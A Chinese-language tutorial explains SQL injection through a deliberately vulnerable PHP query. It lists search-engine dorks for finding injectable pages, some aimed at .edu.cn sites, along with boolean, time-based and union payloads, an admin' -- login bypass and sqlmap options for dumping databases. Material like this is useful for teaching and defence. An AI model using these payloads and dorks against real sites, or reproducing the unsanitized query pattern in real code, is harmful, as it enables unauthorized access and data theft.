SQL注入
sql注入是web應用后台數據處理文件對用戶輸入數據沒有嚴謹性的判斷和過濾。攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加構造特殊SQL語句,在管理員不知情的情況下實現越權的操作。從此實現獲取、修改、刪除數據庫信息,爆庫、和數據庫偷取,甚至提取服務器超級管理員的權利。SQL注入漏洞在2013年至2017年期間在OWASP TOP10排行榜為榜首。
注:期間利用MySQL語句進行詳細講解
注入點SQL注入點通常在前端頁面控件和后端數據庫有鏈接的地方。
在web平台中注入點通常存在於URL地址欄,用戶登陸頁、商品搜索控件、商品選擇分類控件、商品信息頁、用戶留言板等和數據庫有聯系的位置。
原理
這是一段后台處理SQL語句的PHP代碼
<?php if(isset($_GET['Submit'])){ //retrieve data $id=$_GET['id']; $getid= "SELECT firset_name,iast_name FROM users WHERE user_id='$id'"; $result=mysql_query($getid) or die('<pre>' .mysql_error().'</pre>'); $num=mysql_numrows($result); $i=0; ?>
'$id'這個變量是我們要輸入的語句,構造語句只能在這塊進行構造,其他語句是不能看見也不能動的。
數據庫中有一個字段為ID字段這個字段的值從1——無限,而$id這個值就是數據庫ID字段的值,這個ID字段后面對應的其他字段值是本用戶的其他信息。
如果讓$id的值等於 ' ,如果數據庫ID字段的數據類型是整數類型肯定會報語法錯,如果數據庫ID字段的數據類型是字符型,那就要看這個字段中是否有單引號這個值,有的話web頁面進行信息改變,如果沒有還是會報錯。
其實要想獲取一個庫信息,表信息,字段信息有直接查詢,聯合查詢,布爾查詢,都可以獲取需要知道的信息。
上面的PHP代碼中有 select firset_name,iast_name from users where user_id='1'; 這個語句在MySQL中輸入結果是獲取ID為1的firset_name和iast_name的值,但是它代碼中沒有對ID值進行說是必須輸入什么值,那這會導致用戶會輸入' or 1=1 --'
select firset_name,iast_name from users where user_id=' ' or 1=1 --' ';
這樣的語句在SQL中屬於正常語句,攻擊者利用' or 1=1 --'中第一個單引號閉合了原有的單引號利用--'注釋了后邊的單引號,它可以輸出這個表中所有的有關值,這樣就達到攻擊者在本不應該知道其他數據的情況下知道了。
手動注入通過瀏覽器搜索相關可能存在注入的頁面:
1.通過Google搜索 inurl:.php?id= inurl:.jsp?id= inurl:.asp?id= inurl:/admin/login.php inurl:.php?id=intitle:主頁 2.通過百度搜索 inurl:news.asp?id=site:edu.cn inurl:news.php?id=site:edu.cn inurl:news.aspx?id=site:edu.cn
傳入SQL語句可控參分為兩種
整形:?id=1
字符型:?id="1"
進行簡單測試看是否存在注入可能:
輸入 ?id=' 。正常顯示頁面可能不存在注入性,但是不一定。
解釋:輸入一個單引號判斷后台語句對單引號是否進行了過濾,因為SQL都是利用單引號進行構造SQL語句的。
輸入 ?id='真條件' and sleep(5) --任意值 。頁面執行5秒鍾,說明此頁面可能含有注入性。
解釋:輸入后后台可能只對單引號進行了過濾,我們還是可正常利用單引號構造特殊SQL語句對web應用進行SQL注入。至於后面的“--任意值”是對后面的一切進行注釋。
在union注入中后面構造的語句中的字段數量要和前面的字段數量一樣多否則會報錯,如果不知道前面字段數量可以輸入select 1,2,.....來猜字段,輸入select 1直接進行查詢不會出錯,如果要查的字段比較多可以利用拼接查詢。
常用SQL注入語句
' or 1=1 --' #爆出數據庫其他信息 admin' --' #可直接越過登錄頁面,也稱PHP萬能密碼
自動化注入sqlmap使用Python寫的一個自動化SQL注入工具,他還可以自動用谷歌搜索可以注入的頁面。
下面是sqlmap的簡單說明
-p #指定URL中的注入點 --batch #全程自動化 --users #所有用戶 --current-user #當前用戶 --dbs #所有庫 --current-db #當前庫 -D "database_name" --tables #database_name庫中有哪些表 -D "database_name" -T "table_name" --columns #database_name庫table_name表中有哪些字段 --dump-all #顯示整個web庫中所有數據庫和所有庫的表 --dump-all --exclude-sysdbs #排除系統庫 -D "database_name" -T "table_name" --dump #顯示字段 -D "database_name" -T "table_name" -C "user,name" --dump #只顯示user和name字段信息
--cookie="cookie" #帶入cookie值進行登錄注入